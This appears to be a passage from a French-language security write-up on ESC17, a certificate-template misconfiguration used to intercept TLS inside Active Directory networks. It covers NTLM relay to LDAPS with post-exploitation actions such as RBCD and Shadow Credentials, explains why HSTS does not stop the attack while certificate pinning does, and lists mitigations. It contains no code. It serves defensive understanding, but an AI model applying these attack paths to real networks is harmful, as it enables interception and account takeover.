| **Auth Windows intégrée** (relais NTLM) | l'authentification NTLM de la victime | TLS terminé, NTLM disponible (downgrade Negotiate → NTLM), cible sans protection (signature LDAP absente sur 389 ou channel binding absent sur 636) | actions dans l'annuaire en tant que la victime via LDAPS : RBCD, Shadow Credentials, `add_computer`, LAPS, `grant_control`… |

Le point commun : ESC17 ne casse pas le chiffrement, il fournit une identité de serveur légitime qui rend le trafic lisible, puis on exploite ce que la victime y fait passer.

## HSTS, épinglage : ce qui protège et ce qui ne protège pas

Deux idées reçues méritent d'être corrigées, car elles déterminent la portée réelle de l'attaque.

**HSTS ne protège pas de cette attaque.** Le mécanisme HSTS force le navigateur à utiliser HTTPS et l'empêche de passer outre une erreur de certificat. Or notre certificat ESC17 est **valide et approuvé**. Aucune erreur n'est levée, donc HSTS est satisfait et ne bloque rien. HSTS défend contre un certificat non approuvé ou un retour en HTTP en clair, pas contre une identité de serveur légitimement forgée.

**L'épinglage de certificat, lui, protège.** Un client qui valide un certificat ou une clé **précise**, et non « tout ce que la CA de confiance a signé », neutralise ESC17. C'est le cas de nombreuses applications mobiles et de certains clients lourds, qui épinglent leur backend. Les navigateurs, en revanche, n'épinglent pas (le mécanisme HPKP a été abandonné), ce qui laisse exposées les applications web internes consultées au navigateur.

Deux contraintes opérationnelles complètent le tableau : l'attaque suppose une **position d'homme du milieu** viable, et la sollicitation des services est **à la demande**, ce qui est ici un avantage puisqu'il suffit qu'un utilisateur se connecte au service visé.

## Mitigations

- **Épingler le certificat** côté clients lorsque c'est possible, en particulier pour les applications sensibles et les API internes.
- **Corriger le modèle ESC17 à la source** : retirer le drapeau *« supply in the request »*, restreindre les droits d'enrôlement, ou exiger l'approbation d'un gestionnaire, sans se fier à la seule valeur d'EKU.
- **Surveiller** l'émission de certificats *Server Authentication* portant un nom d'hôte arbitraire, et l'apparition de terminaisons TLS inattendues sur le réseau interne.
- **Segmenter** le réseau pour réduire les positions d'homme du milieu exploitables.
